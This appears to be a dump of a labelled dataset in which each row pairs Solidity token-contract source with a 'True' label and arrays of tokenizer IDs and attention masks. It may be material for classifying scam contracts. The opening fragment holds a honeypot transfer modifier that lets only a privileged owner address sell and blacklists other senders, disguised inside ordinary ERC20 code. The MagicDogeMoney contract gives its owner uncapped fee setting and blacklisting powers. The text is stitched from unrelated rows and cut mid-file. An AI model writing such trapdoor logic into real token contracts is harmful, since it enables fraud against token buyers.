require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2475,
1012,
1018,
1012,
1014,
1012,
1035,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MagicDogeMoney is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MagicDogeMoney";
string private constant _symbol = "MDM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 13;
//Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x725e4bBD508beD5b08A891BAB8FB286131A5c99D);
address payable private _marketingAddress = payable(0x725e4bBD508beD5b08A891BAB8FB286131A5c99D);
address payable private _charityAddress = payable(0x725e4bBD508beD5b08A891BAB8FB286131A5c99D);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 3000000000000 * 10**9; //0.3
uint256 public _maxWalletSize = 10000000000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 1000000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_charityAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(5));
_marketingAddress.transfer(amount.div(2));
_charityAddress.transfer(amount.mul(3).div(10));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress || _msgSender() == _charityAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress || _msgSender() == _charityAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
function setTaxWallets(address newTaxWall1, address newTaxWall2, address newTaxWall3) public onlyOwner {
_developmentAddress = payable(newTaxWall1);
_marketingAddress = payable(newTaxWall2);
_charityAddress = payable(newTaxWall3);
_isExcludedFromFee[newTaxWall1] = true;
_isExcludedFromFee[newTaxWall2] = true;
_isExcludedFromFee[newTaxWall3] = true;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
4769,
2797,
1035,
3025,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
2219,
3085,
1024,
2047,
3954,
2003,
1996,
5717,
4769,
1000,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
1035,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
